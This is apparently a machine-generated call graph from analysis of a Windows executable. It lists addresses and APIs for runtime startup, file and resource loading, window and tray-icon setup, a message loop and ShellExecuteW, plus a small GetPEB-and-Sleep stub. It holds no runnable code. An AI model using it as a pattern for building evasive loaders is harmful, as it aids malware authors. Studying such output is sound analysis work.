100907->100908 100908->100840 100910 515797 100909->100910 100919 515728 100909->100919 100935 5133a1 DecodePointer 100910->100935 100912 51579d 100936 518b28 58 API calls 100912->100936 100915 51575b RtlAllocateHeap 100915->100919 100925 51578f 100915->100925 100917 515733 100917->100919 100929 51a16b 58 API calls 100917->100929 100930 51a1c8 58 API calls 100917->100930 100931 51309f GetModuleHandleExW GetProcAddress ExitProcess 100917->100931 100918 515783 100933 518b28 58 API calls 100918->100933 100919->100915 100919->100917 100919->100918 100923 515781 100919->100923 100932 5133a1 DecodePointer 100919->100932 100934 518b28 58 API calls 100923->100934 100925->100854 100926->100854 100927->100858 100928->100860 100929->100917 100930->100917 100932->100919 100933->100923 100934->100925 100935->100912 100936->100925 100937->100872 100939 512c50 100938->100939 100946 513217 100939->100946 100945 512c77 100945->100815 100963 519c0b 100946->100963 100948 512c59 100949 512c88 DecodePointer DecodePointer 100948->100949 100950 512cb5 100949->100950 100951 512c65 100949->100951 100950->100951 101009 5187a4 59 API calls 100950->101009 100960 512c82 100951->100960 100953 512d18 EncodePointer EncodePointer 100953->100951 100954 512cec 100954->100951 100958 512d06 EncodePointer 100954->100958 101011 518864 61 API calls 100954->101011 100955 512cc7 100955->100953 100955->100954 101010 518864 61 API calls 100955->101010 100958->100953 100959 512d00 100959->100951 100959->100958 101012 513220 100960->101012 100964 519c1c 100963->100964 100965 519c2f EnterCriticalSection 100963->100965 100970 519c93 100964->100970 100965->100948 100967 519c22 100967->100965 100994 5130b5 58 API calls 100967->100994 100971 519c9f 100970->100971 100972 519cc0 100971->100972 100973 519ca8 100971->100973 100977 519ce1 100972->100977 100998 51881d 58 API calls 100972->100998 100995 51a16b 58 API calls 100973->100995 100975 519cad 100996 51a1c8 58 API calls 100975->100996 100977->100967 100979 519cd5 100981 519ceb 100979->100981 100982 519cdc 100979->100982 100980 519cb4 100997 51309f GetModuleHandleExW GetProcAddress ExitProcess 100980->100997 100983 519c0b 58 API calls 100981->100983 100999 518b28 58 API calls 100982->100999 100986 519cf2 100983->100986 100988 519d17 100986->100988 100989 519cff 100986->100989 101001 512d55 100988->101001 101000 519e2b InitializeCriticalSectionAndSpinCount 100989->101000 100992 519d0b 101007 519d33 LeaveCriticalSection 100992->101007 100995->100975 100996->100980 100998->100979 100999->100977 101000->100992 101002 512d87 101001->101002 101003 512d5e RtlFreeHeap 101001->101003 101002->100992 101003->101002 101004 512d73 101003->101004 101008 518b28 58 API calls 101004->101008 101006 512d79 GetLastError 101006->101002 101007->100977 101008->101006 101009->100955 101010->100954 101011->100959 101015 519d75 LeaveCriticalSection 101012->101015 101014 512c87 101014->100945 101015->101014 101016 ea4318 101030 ea1f68 101016->101030 101018 ea43f6 101033 ea4208 101018->101033 101036 ea5428 GetPEB 101030->101036 101032 ea25f3 101032->101018 101034 ea4211 Sleep 101033->101034 101035 ea421f 101034->101035 101037 ea5452 101036->101037 101037->101032 101038 517c56 101039 517c62 101038->101039 101075 519e08 GetStartupInfoW 101039->101075 101042 517c67 101077 518b7c GetProcessHeap 101042->101077 101043 517cbf 101046 517cca 101043->101046 101160 517da6 58 API calls 101043->101160 101078 519ae6 101046->101078 101047 517cd0 101048 517cdb 101047->101048 101161 517da6 58 API calls 101047->101161 101099 51d5d2 101048->101099 101051 517cea 101052 517cf6 GetCommandLineW 101051->101052 101162 517da6 58 API calls 101051->101162 101118 524f23 GetEnvironmentStringsW 101052->101118 101055 517cf5 101055->101052 101058 517d10 101059 517d1b 101058->101059 101163 5130b5 58 API calls 101058->101163 101128 524d58 101059->101128 101062 517d21 101063 517d2c 101062->101063 101164 5130b5 58 API calls 101062->101164 101142 5130ef 101063->101142 101066 517d34 101067 517d3f 101066->101067 101165 5130b5 58 API calls 101066->101165 101148 4f47d0 101067->101148 101070 517d53 101071 517d62 101070->101071 101166 513358 58 API calls 101070->101166 101167 5130e0 58 API calls 101071->101167 101074 517d67 101076 519e1e 101075->101076 101076->101042 101077->101043 101168 513187 36 API calls 101078->101168 101080 519aeb 101169 519d3c InitializeCriticalSectionAndSpinCount 101080->101169 101082 519af0 101083 519af4 101082->101083 101171 519d8a TlsAlloc 101082->101171 101170 519b5c 61 API calls 101083->101170 101086 519af9 101086->101047 101087 519b06 101087->101083 101088 519b11 101087->101088 101172 5187d5 101088->101172 101091 519b53 101180 519b5c 61 API calls 101091->101180 101094 519b58 101094->101047 101095 519b32 101095->101091 101096 519b38 101095->101096 101179 519a33 58 API calls 101096->101179 101098 519b40 GetCurrentThreadId 101098->101047 101100 51d5de 101099->101100 101101 519c0b 58 API calls 101100->101101 101102 51d5e5 101101->101102 101103 5187d5 58 API calls 101102->101103 101105 51d5f6 101103->101105 101104 51d661 GetStartupInfoW 101112 51d676 101104->101112 101113 51d7a5 101104->101113 101105->101104 101106 51d601 101105->101106 101106->101051 101107 51d86d 101194 51d87d LeaveCriticalSection 101107->101194 101109 5187d5 58 API calls 101109->101112 101110 51d7f2 GetStdHandle 101110->101113 101111 51d805 GetFileType 101111->101113 101112->101109 101112->101113 101114 51d6c4 101112->101114 101113->101107 101113->101110 101113->101111 101193 519e2b InitializeCriticalSectionAndSpinCount 101113->101193 101114->101113 101115 51d6f8 GetFileType 101114->101115 101192 519e2b InitializeCriticalSectionAndSpinCount 101114->101192 101115->101114 101119 524f34 101118->101119 101120 517d06 101118->101120 101195 51881d 58 API calls 101119->101195 101124 524b1b GetModuleFileNameW 101120->101124 101122 524f5a 101123 524f70 FreeEnvironmentStringsW 101122->101123 101123->101120 101125 524b4f 101124->101125 101127 524b8f 101125->101127 101196 51881d 58 API calls 101125->101196 101127->101058 101129 524d69 101128->101129 101131 524d71 101128->101131 101129->101062 101130 5187d5 58 API calls 101138 524d9a 101130->101138 101131->101130 101132 524df1 101133 512d55 58 API calls 101132->101133 101133->101129 101134 5187d5 58 API calls 101134->101138 101135 524e16 101136 512d55 58 API calls 101135->101136 101136->101129 101138->101129 101138->101132 101138->101134 101138->101135 101139 524e2d 101138->101139 101197 524607 58 API calls 101138->101197 101198 518dc6 IsProcessorFeaturePresent 101139->101198 101141 524e39 101141->101062 101144 5130fb 101142->101144 101221 51a4d1 101144->101221 101145 513119 101146 512d40 67 API calls 101145->101146 101147 513138 101145->101147 101146->101147 101147->101066 101149 4f47ea 101148->101149 101159 4f4889 101148->101159 101150 4f4824 IsThemeActive 101149->101150 101224 51336c 101150->101224 101154 4f4850 101236 4f48fd SystemParametersInfoW SystemParametersInfoW 101154->101236 101156 4f485c 101237 4f3b3a 101156->101237 101158 4f4864 SystemParametersInfoW 101158->101159 101159->101070 101160->101046 101161->101048 101162->101055 101166->101071 101167->101074 101168->101080 101169->101082 101170->101086 101171->101087 101174 5187dc 101172->101174 101175 518817 101174->101175 101177 5187fa 101174->101177 101181 5251f6 101174->101181 101175->101091 101178 519de6 TlsSetValue 101175->101178 101177->101174 101177->101175 101189 51a132 Sleep 101177->101189 101178->101095 101179->101098 101180->101094 101182 525201 101181->101182 101188 52521c 101181->101188 101183 52520d 101182->101183 101182->101188 101190 518b28 58 API calls 101183->101190 101185 52522c HeapAlloc 101187 525212 101185->101187 101185->101188 101187->101174 101188->101185 101188->101187 101191 5133a1 DecodePointer 101188->101191 101189->101177 101190->101187 101191->101188 101192->101114 101193->101113 101194->101106 101195->101122 101196->101127 101197->101138 101199 518dd1 101198->101199 101204 518c59 101199->101204 101203 518dec 101203->101141 101205 518c73 101204->101205 101206 518c93 IsDebuggerPresent 101205->101206 101212 51a155 SetUnhandledExceptionFilter UnhandledExceptionFilter 101206->101212 101209 518d57 101213 51c5f6 101209->101213 101210 518d7a 101211 51a140 GetCurrentProcess TerminateProcess 101210->101211 101211->101203 101212->101209 101214 51c600 IsProcessorFeaturePresent 101213->101214 101215 51c5fe 101213->101215 101217 52590a 101214->101217 101215->101210 101220 5258b9 GetCurrentProcess TerminateProcess SetUnhandledExceptionFilter UnhandledExceptionFilter IsDebuggerPresent 101217->101220 101219 5259ed 101219->101210 101220->101219 101222 51a4d4 EncodePointer 101221->101222 101222->101222 101223 51a4ee 101222->101223 101223->101145 101225 519c0b 58 API calls 101224->101225 101226 513377 DecodePointer EncodePointer 101225->101226 101289 519d75 LeaveCriticalSection 101226->101289 101228 4f4849 101229 5133d4 101228->101229 101230 5133f8 101229->101230 101231 5133de 101229->101231 101230->101154 101231->101230 101290 518b28 58 API calls 101231->101290 101233 5133e8 101291 518db6 9 API calls 101233->101291 101235 5133f3 101235->101154 101236->101156 101238 4f3b47 101237->101238 101239 4f7667 59 API calls 101238->101239 101240 4f3b51 GetCurrentDirectoryW 101239->101240 101292 4f3766 101240->101292 101242 4f3b7a IsDebuggerPresent 101243 52d272 MessageBoxA 101242->101243 101244 4f3b88 101242->101244 101247 52d28c 101243->101247 101245 4f3c61 101244->101245 101244->101247 101248 4f3ba5 101244->101248 101246 4f3c68 SetCurrentDirectoryW 101245->101246 101251 4f3c75 101246->101251 101502 4f7213 59 API calls 101247->101502 101373 4f7285 101248->101373 101251->101158 101252 52d29c 101257 52d2b2 SetCurrentDirectoryW 101252->101257 101254 4f3bc3 GetFullPathNameW 101255 4f7bcc 59 API calls 101254->101255 101256 4f3bfe 101255->101256 101389 50092d 101256->101389 101257->101251 101260 4f3c1c 101261 4f3c26 101260->101261 101503 54874b AllocateAndInitializeSid CheckTokenMembership FreeSid 101260->101503 101405 4f3a46 GetSysColorBrush LoadCursorW LoadIconW LoadIconW LoadIconW 101261->101405 101264 52d2cf 101264->101261 101268 52d2e0 101264->101268 101267 4f3c30 101269 4f3c43 101267->101269 101413 4f434a 101267->101413 101270 4f4706 61 API calls 101268->101270 101424 5009d0 101269->101424 101271 52d2e8 101270->101271 101274 4f7de1 59 API calls 101271->101274 101275 52d2f5 101274->101275 101277 52d324 101275->101277 101278 52d2ff 101275->101278 101276 4f3c4e 101276->101245 101501 4f443a Shell_NotifyIconW 101276->101501 101281 4f7cab 59 API calls 101277->101281 101280 4f7cab 59 API calls 101278->101280 101282 52d30a 101280->101282 101283 52d320 GetForegroundWindow ShellExecuteW 101281->101283 101504 4f7b2e 101282->101504 101287 52d354 101283->101287 101287->101245 101288 4f7cab 59 API calls 101288->101283 101289->101228 101290->101233 101291->101235 101293 4f7667 59 API calls 101292->101293 101294 4f377c 101293->101294 101513 4f3d31 101294->101513 101296 4f379a 101297 4f4706 61 API calls 101296->101297 101298 4f37ae 101297->101298 101299 4f7de1 59 API calls 101298->101299 101300 4f37bb 101299->101300 101527 4f4ddd 101300->101527 101303 52d173 101598 55955b 101303->101598 101304 4f37dc 101551 4f8047 101304->101551 101308 52d192 101309 512d55 58 API calls 101308->101309 101312 52d19f 101309->101312 101314 4f4e4a 84 API calls 101312->101314 101316 52d1a8 101314->101316 101320 4f3ed0 59 API calls 101316->101320 101317 4f7de1 59 API calls 101318 4f3808 101317->101318 101558 4f84c0 101318->101558 101322 52d1c3 101320->101322 101321 4f381a 101323 4f7de1 59 API calls 101321->101323 101324 4f3ed0 59 API calls 101322->101324 101325 4f3840 101323->101325 101326 52d1df 101324->101326 101327 4f84c0 69 API calls 101325->101327 101328 4f4706 61 API calls 101326->101328 101330 4f384f 101327->101330 101329 52d204 101328->101329 101331 4f3ed0 59 API calls 101329->101331 101333 4f7667 59 API calls 101330->101333 101332 52d210 101331->101332 101334 4f8047 59 API calls 101332->101334 101335 4f386d 101333->101335 101336 52d21e 101334->101336 101562 4f3ed0 101335->101562 101338 4f3ed0 59 API calls 101336->101338 101340 52d22d 101338->101340 101346 4f8047 59 API calls 101340->101346 101342 4f3887 101342->101316 101343 4f3891 101342->101343 101344 512efd 60 API calls 101343->101344 101345 4f389c 101344->101345 101345->101322 101347 4f38a6 101345->101347 101348 52d24f 101346->101348 101349 512efd 60 API calls 101347->101349 101350 4f3ed0 59 API calls 101348->101350 101351 4f38b1 101349->101351 101353 52d25c 101350->101353 101351->101326 101352 4f38bb 101351->101352 101354 512efd 60 API calls 101352->101354 101353->101353 101355 4f38c6 101354->101355 101355->101340 101356 4f3907 101355->101356 101358 4f3ed0 59 API calls 101355->101358 101356->101340 101357 4f3914 101356->101357 101578 4f92ce 101357->101578 101359 4f38ea 101358->101359 101361 4f8047 59 API calls 101359->101361 101363 4f38f8 101361->101363 101366 4f3ed0 59 API calls 101363->101366 101366->101356 101368 4f928a 59 API calls 101370 4f394f 101368->101370 101369 4f8ee0 60 API calls 101369->101370 101370->101368 101370->101369 101371 4f3ed0 59 API calls 101370->101371 101372 4f3995 101370->101372 101371->101370 101372->101242 101374 4f7292 101373->101374 101375 4f72ab 101374->101375 101377 52ea22 101374->101377 101376 4f4750 60 API calls 101375->101376 101378 4f72b4 101376->101378 101379 52ea3e GetOpenFileNameW 101377->101379 102218 510791 101378->102218 101381 52ea8d 101379->101381 101382 4f7bcc 59 API calls 101381->101382 101384 52eaa2 101382->101384 101384->101384 101386 4f72c9 102236 4f686a 101386->102236 101390 50093a 101389->101390 102488 4f6d80 101390->102488 101392 50093f 101393 4f3c14 101392->101393 102499 50119e 89 API calls 101392->102499 101393->101252 101393->101260 101395 50094c 101395->101393 102500 503ee7 91 API calls 101395->102500 101397 500955 101397->101393 101398 500959 GetFullPathNameW 101397->101398 101399 4f7bcc 59 API calls 101398->101399 101400 500985 101399->101400 101401 4f7bcc 59 API calls 101400->101401 101402 500992 101401->101402 101403 534cab 101402->101403 101404 4f7bcc 59 API calls 101402->101404 101404->101393 101406 52d261 101405->101406 101407 4f3ab0 LoadImageW RegisterClassExW 101405->101407 102539 4f47a0 LoadImageW EnumResourceNamesW 101406->102539 102538 4f3041 7 API calls 101407->102538 101410 4f3b34 101412 4f39d5 CreateWindowExW CreateWindowExW ShowWindow ShowWindow 101410->101412 101411 52d26a 101412->101267 101414 4f4375 101413->101414 102540 4f4182 101414->102540 101417 4f43fa 101419 4f4414 Shell_NotifyIconW 101417->101419 101420 4f4430 Shell_NotifyIconW 101417->101420 101421 4f4422 101419->101421 101420->101421 102544 4f407c 101421->102544 101423 4f4429 101423->101269 101425 534cc3 101424->101425 101439 5009f5 101424->101439 102701 559e4a 89 API calls 101425->102701 101427 500cfa 101427->101276 101429 500ee4 101429->101427 101431 500ef1 101429->101431 102699 501093 331 API calls 101431->102699 101432 500a4b PeekMessageW 101499 500a05 101432->101499 101434 500ef8 LockWindowUpdate DestroyWindow GetMessageW 101434->101427 101437 500f2a 101434->101437 101436 534e81 Sleep 101436->101499 101440 535c58 TranslateMessage DispatchMessageW GetMessageW 101437->101440 101438 500ce4 101438->101427 102698 501070 10 API calls 101438->102698 101439->101499 102702 4f9e5d 60 API calls 101439->102702 102703 546349 331 API calls 101439->102703 101440->101440 101442 535c88 101440->101442 101442->101427 101443 500e43 PeekMessageW 101443->101499 101444 500ea5 TranslateMessage DispatchMessageW 101444->101443 101445 534d50 TranslateAcceleratorW 101445->101443 101445->101499 101446 500d13 timeGetTime 101446->101499 101447 53581f WaitForSingleObject 101449 53583c GetExitCodeProcess CloseHandle 101447->101449 101447->101499 101482 500f95 101449->101482 101450 500e5f Sleep 101484 500e70 101450->101484 101451 4f8047 59 API calls 101451->101499 101452 4f7667 59 API calls 101452->101484 101453 510db6 59 API calls 101453->101499 101454 535af8 Sleep 101454->101484 101456 51049f timeGetTime 101456->101484 101458 500f4e timeGetTime 102700 4f9e5d 60 API calls 101458->102700 101462 535b8f GetExitCodeProcess 101467 535ba5 WaitForSingleObject 101462->101467 101468 535bbb CloseHandle 101462->101468 101465 575f25 110 API calls 101465->101484 101466 4fb7dd 109 API calls 101466->101484 101467->101468 101467->101499 101468->101484 101469 4f9e5d 60 API calls 101469->101499 101470 535874 101470->101482 101471 535c17 Sleep 101471->101499 101472 535078 Sleep 101472->101499 101474 4f7de1 59 API calls 101474->101484 101482->101276 101484->101452 101484->101456 101484->101462 101484->101465 101484->101466 101484->101470 101484->101471 101484->101472 101484->101474 101484->101482 101484->101499 102728 552408 60 API calls 101484->102728 102729 4f9e5d 60 API calls 101484->102729 102730 4f89b3 69 API calls 101484->102730 102731 4fb73c 331 API calls 101484->102731 102732 5464da 60 API calls 101484->102732 102733 555244 QueryPerformanceCounter QueryPerformanceFrequency Sleep QueryPerformanceCounter Sleep 101484->102733 102734 553c55 66 API calls 101484->102734 101485 559e4a 89 API calls 101485->101499 101487 4f84c0 69 API calls 101487->101499 101488 4f89b3 69 API calls 101488->101499 101489 4f9c90 59 API calls 101489->101499 101490 4f9ea0 304 API calls 101490->101499 101491 54617e 59 API calls 101491->101499 101493 4f7de1 59 API calls 101493->101499 101494 5355d5 VariantClear 101494->101499 101495 546e8f 59 API calls 101495->101499 101496 53566b VariantClear 101496->101499 101497 4f8cd4 59 API calls 101497->101499 101498 535419 VariantClear 101498->101499 101499->101432 101499->101436 101499->101438 101499->101443 101499->101444 101499->101445 101499->101446 101499->101447 101499->101450 101499->101451 101499->101453 101499->101454 101499->101458 101499->101469 101499->101482 101499->101484 101499->101485 101499->101487 101499->101488 101499->101489 101499->101490 101499->101491 101499->101493 101499->101494 101499->101495 101499->101496 101499->101497 101499->101498 101500 4fb73c 304 API calls 101499->101500 102567 4fe6a0 101499->102567 102598 4ff460 101499->102598 102616 4ffce0 101499->102616 102696 4fe420 331 API calls 101499->102696 102697 4f31ce IsDialogMessageW GetClassLongW 101499->102697 102704 576018 59 API calls 101499->102704 102705 559a15 59 API calls 101499->102705 102706 54d4f2 59 API calls 101499->102706 102707 4f9837 101499->102707 102725 5460ef 59 API calls 101499->102725 102726 4f8401 59 API calls 101499->102726 102727 4f82df 59 API calls 101499->102727 101500->101499 101501->101245 101502->101252 101503->101264 101505 52ec6b 101504->101505 101506 4f7b40 101504->101506 103077 547bdb 59 API calls 101505->103077 103071 4f7a51 101506->103071 101509 52ec75 101511 4f8047 59 API calls 101509->101511 101510 4f7b4c 101510->101288 101512 52ec7d 101511->101512 101514 4f3d3e 101513->101514 101515 4f7bcc 59 API calls 101514->101515 101521 4f3ea4 101514->101521 101517 4f3d70 101515->101517 101524 4f3da6 101517->101524 101639 4f79f2 101517->101639 101518 4f79f2 59 API calls 101518->101524 101519 4f3e77 101520 4f7de1 59 API calls 101519->101520 101519->101521 101523 4f3e98 101520->101523 101521->101296 101522 4f7de1 59 API calls 101522->101524 101525 4f3f74 59 API calls 101523->101525 101524->101518 101524->101519 101524->101521 101524->101522 101526 4f3f74 59 API calls 101524->101526 101525->101521 101526->101524 101642 4f4bb5 101527->101642 101532 52d8e6 101534 4f4e4a 84 API calls 101532->101534 101533 4f4e08 LoadLibraryExW 101652 4f4b6a 101533->101652 101536 52d8ed 101534->101536 101538 4f4b6a 3 API calls 101536->101538 101541 52d8f5 101538->101541 101540 4f4e2f 101540->101541 101542 4f4e3b 101540->101542 101678 4f4f0b 101541->101678 101543 4f4e4a 84 API calls 101542->101543 101545 4f37d4 101543->101545 101545->101303 101545->101304 101548 52d91c 101686 4f4ec7 101548->101686 101550 52d929 101552 4f37ef 101551->101552 101553 4f8052 101551->101553 101555 4f928a 101552->101555 101937 4f7f77 59 API calls 101553->101937 101556 510db6 59 API calls 101555->101556 101557 4f37fb 101556->101557 101557->101317 101559 4f84cb 101558->101559 101560 4f84f2 101559->101560 101938 4f89b3 69 API calls 101559->101938 101560->101321 101563 4f3eda 101562->101563 101564 4f3ef3 101562->101564 101566 4f8047 59 API calls 101563->101566 101565 4f7bcc 59 API calls 101564->101565 101567 4f3879 101565->101567 101566->101567 101568 512efd 101567->101568 101569 512f09 101568->101569 101570 512f7e 101568->101570 101576 512f2e 101569->101576 101939 518b28 58 API calls 101569->101939 101941 512f90 60 API calls 101570->101941 101573 512f8b 101573->101342 101574 512f15 101940 518db6 9 API calls 101574->101940 101576->101342 101577 512f20 101577->101342 101579 4f92d6 101578->101579 101580 510db6 59 API calls 101579->101580 101581 4f92e4 101580->101581 101582 4f3924 101581->101582 101942 4f91fc 59 API calls 101581->101942 101584 4f9050 101582->101584 101943 4f9160 101584->101943 101586 4f905f 101587 510db6 59 API calls 101586->101587 101588 4f3932 101586->101588 101587->101588 101589 4f8ee0 101588->101589 101590 52f17c 101589->101590 101597 4f8ef7 101589->101597 101590->101597 101953 4f8bdb 59 API calls 101590->101953 101592 4f8ff8 101594 510db6 59 API calls 101592->101594 101593 4f9040 101952 4f9d3c 60 API calls 101593->101952 101596 4f8fff 101594->101596 101596->101370 101597->101592 101597->101593 101597->101596 101599 4f4ee5 85 API calls 101598->101599 101600 5595ca 101599->101600 101954 559734 101600->101954 101603 52d186 101603->101308 101633 4f4e4a 101603->101633 101604 4f4f0b 74 API calls 101605 5595f7 101604->101605 101606 4f4f0b 74 API calls 101605->101606 101607 559607 101606->101607 101608 4f4f0b 74 API calls 101607->101608 101609 559622 101608->101609 101610 4f4f0b 74 API calls 101609->101610 101611 55963d 101610->101611 101612 4f4ee5 85 API calls 101611->101612 101613 559654 101612->101613 101614 51571c 58 API calls 101613->101614 101615 55965b 101614->101615 101616 51571c 58 API calls 101615->101616 101617 559665 101616->101617 101618 4f4f0b 74 API calls 101617->101618 101619 559679 101618->101619 101620 559109 GetSystemTimeAsFileTime 101619->101620 101621 55968c 101620->101621 101622 5596b6 101621->101622 101623 5596a1 101621->101623 101624 5596bc 101622->101624 101625 55971b 101622->101625 101626 512d55 58 API calls 101623->101626 101960 558b06 116 API calls 101624->101960 101628 512d55 58 API calls 101625->101628 101629 5596a7 101626->101629 101628->101603 101631 512d55 58 API calls 101629->101631 101630 559713 101632 512d55 58 API calls 101630->101632 101631->101603 101632->101603 101634 4f4e5b 101633->101634 101635 4f4e54 101633->101635 101637 4f4e7b FreeLibrary 101634->101637 101638 4f4e6a 101634->101638 101961 5153a6 101635->101961 101637->101638 101638->101308 101640 4f7e4f 59 API calls 101639->101640 101641 4f79fd 101640->101641 101641->101517 101691 4f4c03 101642->101691 101645 4f4bec FreeLibrary 101646 4f4bf5 101645->101646 101649 51525b 101646->101649 101647 4f4c03 2 API calls 101648 4f4bdc 101647->101648 101648->101645 101648->101646 101695 515270 101649->101695 101651 4f4dfc 101651->101532 101651->101533 101855 4f4c36 101652->101855 101655 4f4b8f 101657 4f4baa 101655->101657 101658 4f4ba1 FreeLibrary 101655->101658 101656 4f4c36 2 API calls 101656->101655 101659 4f4c70 101657->101659 101658->101657 101660 510db6 59 API calls 101659->101660 101661 4f4c85 101660->101661 101662 4f522e 59 API calls 101661->101662 101664 4f4c91 101662->101664 101663 4f4ccc 101667 4f4ec7 69 API calls 101663->101667 101664->101663 101665 4f4d89 101664->101665 101666 4f4dc1 101664->101666 101859 4f4e89 CreateStreamOnHGlobal 101665->101859 101870 55991b 95 API calls 101666->101870 101675 4f4cd5 101667->101675 101670 4f4f0b 74 API calls 101670->101675 101671 4f4d69 101671->101540 101673 52d8a7 101674 4f4ee5 85 API calls 101673->101674 101676 52d8bb 101674->101676 101675->101670 101675->101671 101675->101673 101865 4f4ee5 101675->101865 101677 4f4f0b 74 API calls 101676->101677 101677->101671 101679 4f4f1d 101678->101679 101680 52d9cd 101678->101680 101894 5155e2 101679->101894 101683 559109 101914 558f5f 101683->101914 101685 55911f 101685->101548 101687 52d990 101686->101687 101688 4f4ed6 101686->101688 101919 515c60 101688->101919 101690 4f4ede 101690->101550 101692 4f4bd0 101691->101692 101693 4f4c0c LoadLibraryA 101691->101693 101692->101647 101692->101648 101693->101692 101694 4f4c1d GetProcAddress 101693->101694 101694->101692 101697 51527c 101695->101697 101696 51528f 101744 518b28 58 API calls 101696->101744 101697->101696 101699 5152c0 101697->101699 101714 5204e8 101699->101714 101700 515294 101745 518db6 9 API calls 101700->101745 101703 5152c5 101704 5152db 101703->101704 101705 5152ce 101703->101705 101707 515305 101704->101707 101708 5152e5 101704->101708 101746 518b28 58 API calls 101705->101746 101729 520607 101707->101729 101747 518b28 58 API calls 101708->101747 101709 51529f 101709->101651 101715 5204f4 101714->101715 101716 519c0b 58 API calls 101715->101716 101727 520502 101716->101727 101717 52057d 101754 51881d 58 API calls 101717->101754 101718 520576 101749 5205fe 101718->101749 101721 520584 101721->101718 101755 519e2b InitializeCriticalSectionAndSpinCount 101721->101755 101722 5205f3 101722->101703 101724 519c93 58 API calls 101724->101727 101726 5205aa EnterCriticalSection 101726->101718 101727->101717 101727->101718 101727->101724 101752 516c50 59 API calls 101727->101752 101753 516cba LeaveCriticalSection LeaveCriticalSection 101727->101753 101730 520627 101729->101730 101731 520641 101730->101731 101743 5207fc 101730->101743 101762 5137cb 60 API calls 101730->101762 101760 518b28 58 API calls 101731->101760 101733 520646 101761 518db6 9 API calls 101733->101761 101735 515310 101748 515332 LeaveCriticalSection LeaveCriticalSection 101735->101748 101736 52085f 101757 5285a1 101736->101757 101739 5207f5 101739->101743 101763 5137cb 60 API calls 101739->101763 101741 520814 101741->101743 101764 5137cb 60 API calls 101741->101764 101743->101731 101743->101736 101744->101700 101745->101709 101746->101709 101747->101709 101748->101709 101756 519d75 LeaveCriticalSection 101749->101756 101751 520605 101751->101722 101752->101727 101753->101727 101754->101721 101755->101726 101756->101751 101765 527d85 101757->101765 101759 5285ba 101759->101735 101760->101733 101761->101735 101762->101739 101763->101741 101764->101743 101767 527d91 101765->101767 101766 527da7 101852 518b28 58 API calls 101766->101852 101767->101766 101770 527ddd 101767->101770 101769 527dac 101853 518db6 9 API calls 101769->101853 101776 527e4e 101770->101776 101773 527df9 101854 527e22 LeaveCriticalSection 101773->101854 101775 527db6 101775->101759 101777 527e6e 101776->101777 101778 5144ea 58 API calls 101777->101778 101782 527e8a 101778->101782 101779 527fc1 101780 518dc6 8 API calls 101779->101780 101781 5285a0 101780->101781 101783 527d85 103 API calls 101781->101783 101782->101779 101784 527ec4 101782->101784 101794 527ee7 101782->101794 101785 5285ba 101783->101785 101786 518af4 58 API calls 101784->101786 101785->101773 101787 527ec9 101786->101787 101788 518b28 58 API calls 101787->101788 101789 527ed6 101788->101789 101791 518db6 9 API calls 101789->101791 101790 527fa5 101792 518af4 58 API calls 101790->101792 101793 527ee0 101791->101793 101795 527faa 101792->101795 101793->101773 101794->101790 101799 527f83 101794->101799 101796 518b28 58 API calls 101795->101796 101797 527fb7 101796->101797 101798 518db6 9 API calls 101797->101798 101798->101779 101800 51d294 61 API calls 101799->101800 101801 528051 101800->101801 101802 52805b 101801->101802 101803 52807e 101801->101803 101804 518af4 58 API calls 101802->101804 101805 527cfd GetModuleHandleW GetProcAddress CreateFileW 101803->101805 101806 528060 101804->101806 101813 5280a0 101805->101813 101808 518b28 58 API calls 101806->101808 101807 52811e GetFileType 101811 52816b 101807->101811 101812 528129 GetLastError 101807->101812 101810 52806a 101808->101810 101809 5280ec GetLastError 101814 518b07 58 API calls 101809->101814 101815 518b28 58 API calls 101810->101815 101822 51d52a 59 API calls 101811->101822 101816 518b07 58 API calls 101812->101816 101813->101807 101813->101809 101817 527cfd GetModuleHandleW GetProcAddress CreateFileW 101813->101817 101818 528111 101814->101818 101815->101793 101819 528150 CloseHandle 101816->101819 101821 5280e1 101817->101821 101824 518b28 58 API calls 101818->101824 101819->101818 101820 52815e 101819->101820 101823 518b28 58 API calls 101820->101823 101821->101807 101821->101809 101826 528189 101822->101826 101825 528163 101823->101825 101824->101779 101825->101818 101827 5218c1 60 API calls 101826->101827 101841 528344 101826->101841 101843 52820a 101826->101843 101829 5281f3 101827->101829 101828 528517 CloseHandle 101830 527cfd GetModuleHandleW GetProcAddress CreateFileW 101828->101830 101831 518af4 58 API calls 101829->101831 101850 528212 101829->101850 101833 52853e 101830->101833 101831->101843 101832 520e5b 70 API calls 101832->101850 101834 528546 GetLastError 101833->101834 101835 5283ce 101833->101835 101836 518b07 58 API calls 101834->101836 101835->101779 101837 528552 101836->101837 101839 51d43d 59 API calls 101837->101839 101838 520add 61 API calls 101838->101850 101839->101835 101840 5297a2 82 API calls 101840->101850 101841->101779 101841->101828 101842 51d886 78 API calls 101842->101843 101843->101841 101843->101842 101845 5218c1 60 API calls 101843->101845 101843->101850 101844 5283c1 101847 520add 61 API calls 101844->101847 101845->101843 101846 5283aa 101846->101841 101849 5283c8 101847->101849 101848 5218c1 60 API calls 101848->101850 101851 518b28 58 API calls 101849->101851 101850->101832 101850->101838 101850->101840 101850->101843 101850->101844 101850->101846 101850->101848 101851->101835 101852->101769 101853->101775 101854->101775 101856 4f4b83 101855->101856 101857 4f4c3f LoadLibraryA 101855->101857 101856->101655 101856->101656 101857->101856 101858 4f4c50 GetProcAddress 101857->101858 101858->101856 101860 4f4ea3 FindResourceExW 101859->101860 101864 4f4ec0 101859->101864 101861 52d933 LoadResource 101860->101861 101860->101864 101862 52d948 SizeofResource 101861->101862 101861->101864 101863 52d95c LockResource 101862->101863 101862->101864 101863->101864 101864->101663 101866 4f4ef4 101865->101866 101868 52d9ab 101865->101868 101871 51584d 101866->101871 101869 4f4f02 101869->101675 101870->101663 101872 515859 101871->101872 101873 51586b 101872->101873 101875 515891 101872->101875 101884 518b28 58 API calls 101873->101884 101886 516c11 101875->101886 101876 515870 101885 518db6 9 API calls 101876->101885 101879 515897 101892 5157be 83 API calls 101879->101892 101881 5158a6 101893 5158c8 LeaveCriticalSection LeaveCriticalSection 101881->101893 101883 51587b 101883->101869 101884->101876 101885->101883 101887 516c21 101886->101887 101888 516c43 EnterCriticalSection 101886->101888 101887->101888 101890 516c29 101887->101890 101889 516c39 101888->101889 101889->101879 101891 519c0b 58 API calls 101890->101891 101891->101889 101892->101881 101893->101883 101897 5155fd 101894->101897 101896 4f4f2e 101896->101683 101898 515609 101897->101898 101899 51564c 101898->101899 101900 515644 101898->101900 101902 51561f 101898->101902 101901 516c11 59 API calls 101899->101901 101900->101896 101903 515652 101901->101903 101910 518b28 58 API calls 101902->101910 101912 51541d 72 API calls 101903->101912 101905 515639 101911 518db6 9 API calls 101905->101911 